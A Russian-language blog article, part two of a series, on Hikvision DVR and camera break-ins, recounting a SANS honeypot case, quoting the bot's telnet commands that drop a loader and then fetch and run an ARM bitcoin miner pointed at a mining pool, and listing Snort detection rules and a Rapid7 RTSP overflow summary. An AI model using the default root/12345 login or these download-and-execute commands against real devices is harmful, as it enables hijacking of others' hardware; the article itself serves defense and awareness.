Взлом регистраторов и IP
камер Hikvision. Часть 2
Часть 2. “Примеры взломов”
“А вы пароль меняли?”
Вполне регулярно хакеры подламывают огромные сайты с большим количеством зарегистрированных пользователей. Некоторые вываливают результат своего взлома в сеть. Количество простых паролей в таких списках зашкаливает (с отрывом лидируют 123456, qwerty и password). На всех устройствах фирмы Hikvision по умолчанию стоит пароль 12345. Специальное всплывающее окошко умоляет сменить базовый пароль каждый раз как вы входите в систему, но как правило безрезультатно.
Один бодрый физик по фамилии Фейнман (соучастник сотворения мега-бомбы, участник проекта Манхеттен) отмечал в своих мемуарах, что для смеха взламывал сейфы своих сослуживцев, чем заработал себе интерестную репутацию. Сначала, он пробовал стандартные заводские комбинации (50-25-50, 25-50-25) и в четверти случаев сразу угадывал. Дальше в ход шел social engineering (дата рождения и прочее). Сейфы в результате вскрывались почти все.
Вскорости он пришел к большому армейскому начальнику, для затравки вскрыл его сейф и рассказал как важно менять пароли. В результате вышел таки специальный циркуляр. Только вместо принудительной смены пароля, всему персоналу вменялось принудительно не подпускать к сейфам гр. Фейнмана.
Проект Манхеттен, бомба, строжайшая секретность и при всём при этом – поразительное разгильдяйство. Что уж говорить про простых смертных. С людьми, которые не меняют стандартные пароли, всё время происходят весёлые приключения.
“Крадуны процессорной мощности”
Необходимо пояснить, что скрипты и вирусы, работающие по площадям, могут рассказать очень многое о том, что именно они ищут. Один из инструментов толкового эксперта – т.н. ханипот (англ. honeypot – горшочек с мёдом). Эксперт подсовывает в сеть незащищенный компьютер или устройство, и внимательно смотрит куда лезет вредный скрипт, что он закачивает, что скачивает, где ещё гадит и как мимикрирует.
В прошлом году, Иоганн Ульрих из института безопастности САНС заинтересовался одной необычной штукой. Нечто лазило по сети и целенаправленно ломилось в 23 порт (телнета) со стандартными логином-паролем для Хиквижновских регистраторов и камер (root-12345). Получив доступ, пытались выполниться явно нестандартные действия. Заинтригованный, Ульрих побёг в ближайший лабаз и разжился новеньким испанским регистратором S04 (украинский аналог – DS-7104HWI-SH). После включения в сеть, на 23 порт тут же начала тыкаться прорва разного. Со стандартной парой root-12345 пролезло шестеро. Пять полазили по файловой системе и отвалились до лучших времён. Шестой повёл себя наглее.
Дальше техническое, не все поймут.
На регистраторе нет функции “закачать”, нет wget’а и подобных вещей. Они с мясом вырезаны составителями прошивки (очень урезанный busybox).
Залогинившийся скрипт незатейливо передал простое сообщение:
“echo -ne
‘\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00
\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00
\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00
\x00\x31\x00\x00\x00\x00\x00
\x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00
\x14\x00\x00\x00′ >> /var/run/rand0-btcminer-arm
&& echo -e ‘\x64\x6f\x6e\x65′”
Первая команда echo передавала 51 байт информации в новый файл “/var/run/rand0-btcminer-arm” и вторая эха передавала “done”. Несмотря на название – это на сам майнер, а только его загрузчик, некая разновидность wget’а. Далее он используется для загрузки собственно майнера.
./rand0-btcminer-arm https://айпиадрес/btcminer-arm
&& chmod u+x btcminer-arm
&& ./btcminer-arm -B -o stratum+tcp://другой_адрес:3333 -t 4 -q
&& echo -ne ‘\x64\x6f\x6e\x65’
Этим wget’ом качается собственно сам майнер (btcminer-arm), ему ставятся разрешения на исполнение (chmod u+x), итд. В конце опять завершающий “done”.
Для непричастных – о биткоинах.
Некие граждане в интернете изобрели то, что они называют “криптовалютой”. Эта валюта представляет собой группы чисел, подчиняющиеся определённому алгоритму. Добывается (“майнится”, от англ. mine – шахта) подобная валюта с помощью процессорных вычислений. Для этих целей лучше всего подходят видеокарты – они делают эти вычисления быстрее и многопоточнее процессоров. Процессоры тоже конечно могут, но сильно хуже и медленнее.
Интересующимся следует гуглить по словам “биткоины”, “майнинг” и “криптовалюты”. Как понятно из названия загружаемой программы – это биткоин (btc) майнер (miner) для процессоров арм (arm). Эффективность подобного майнинга сомнительна. Но, руководствуясь извечными принципами “на шару и уксус сладкий” и “пять старушек уже рупь” – регистраторы с заводскими паролями были массово поставлены под ружьё и пыжились аж до перегорающих процессоров – чтобы заработать некоему дяде по пять копеек в неделю.
Позже с Ульрихом связались крадуны с одноразового аккаунта твиттер и в подтверждение своей важности даже подкинули ему кусок кода, которым перебиралась прорва адресов и заражались регистраторы.
Сам код не представляет особого интереса – это обычный питоновский скрипт с подключенной телнетовской библиотекой (telnetlib), который тыкает в 23 порт пару root-12345 и ждет ответа, далее проверяет регистратор ли это и сохраняет слепок файловой системы.
Интерес представляет то, что регистратор впоследствии заражался еще несколько раз, и последующие установленные майнеры вполне себе мирно сосуществовали вместе, занимаясь групповым изнасилованием стонающего АРМ процессорчика.
Ульрих обращает внимание что большинство майнеров предпочитают порт 3333.
Также, если у кого есть линукс – можете попробовать простые консольные команды:
# detect if we do have an exposed DVR in our network
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: “DVR Login Prompt”; sid: 1100001; content: “|0a|dvrdvs login: “; flow: from_server, establishe\
d;)
# detect “banner” returned by busybox. Removed detailed version information
alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: “Successful BusyBox Telnet Login”; sid: 1100002; content: “BusyBox v”; content: “built-in shel\
l (ash)”; within: 60; flow: from_server, established;)
# specific “Subscribe” request used by this miner. May need to be a bit more generic. E.g. keep port at “any” ?
alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: “bitcoin miner subscribe request”; sid: 1100003; content: “{\”id\”: 1, \”method\”: \”mining.\
subscribe\”, \”params\””;)
Можно отметить, что регистраторы Hikvision были атакованы просто как самые распространённые. Подобные атаки жадных майнеров уже терпят роутеры Asus, nas’ы Synology и другие популярные бытовые устройства с открытым по умолчанию телнетом.
Серьёзные взломы и уязвимости
Безопастники из конторы Рапид7 протестировали регистратор 7204-HVI-SV (прошивка V2.2.10 build 131009). В их официальном отчёте сделан вывод о уязвимости переполнения буфера для этого и похожих регистраторов. Навскидку минимум 150 тысяч уязвимых устройств.
Были представлены следующие ошибки:
Как гласит отчёт, при особым образом сформированном RTSP запросе, мы получаем ошибку переполнения буфера, а вследствие и контроь над системой. Для этого неважно какой сложности был пароль.
Хендлер RTSP запроса использует буфер фиксированной ширины (2048 байт). Следующий код вызывает Denial-of-Service:
Коды вызова DoS для остальных ошибок выглядят похожим образом.
Для непричастных стоит пояснить, что получая контроль над системой – хакер получит не просто всю информацию с камеры или регистратора, но еще и удобную точку входа в локальную сеть (где может поживиться уже вещами поинтерестнее). Контора у Рапид7 ответственная, производитель был оповещён за пару недель до публикации уязвимости и успел все исправить.
Выводы
Популяризация регистраторов и камер фирмы Хиквижн, мировая слава, изобилие однотипных устройств – совокупность этих факторов неизбежно повышает риск быть взломанным. Это был лишь вопрос времени.
В целом, если держать рекомендованную производителем прошивку и придумать хитрый пароль – подавляющему большинству пользователей ничего не угрожает.
Компания Хиквижн стала подходить строжее к вопросом парольной безопасности – по изменению пароля теперь явно указывается его слабость. Просят обычно создавать цифробуквенный, ну и тд.
К тому же на всех новых моделях регистраторов и камер (начиная с прошивки 5.3 уже) будет по умолчанию закрыт телнет. Телнет кстати запирают не только поэтому. Некоторые граждане повадились покупать в китайских интернет магазинах камеры Hikvision предназначенные для внутреннего китайского рынка – что характерно, очень недорого. Потом путем шаманских плясок, телнета и гайда в интернете залоченный китайский аппарат начинал казать на вполне приличном английском. Подробнее эту тему мы раскроем в следующих статьях.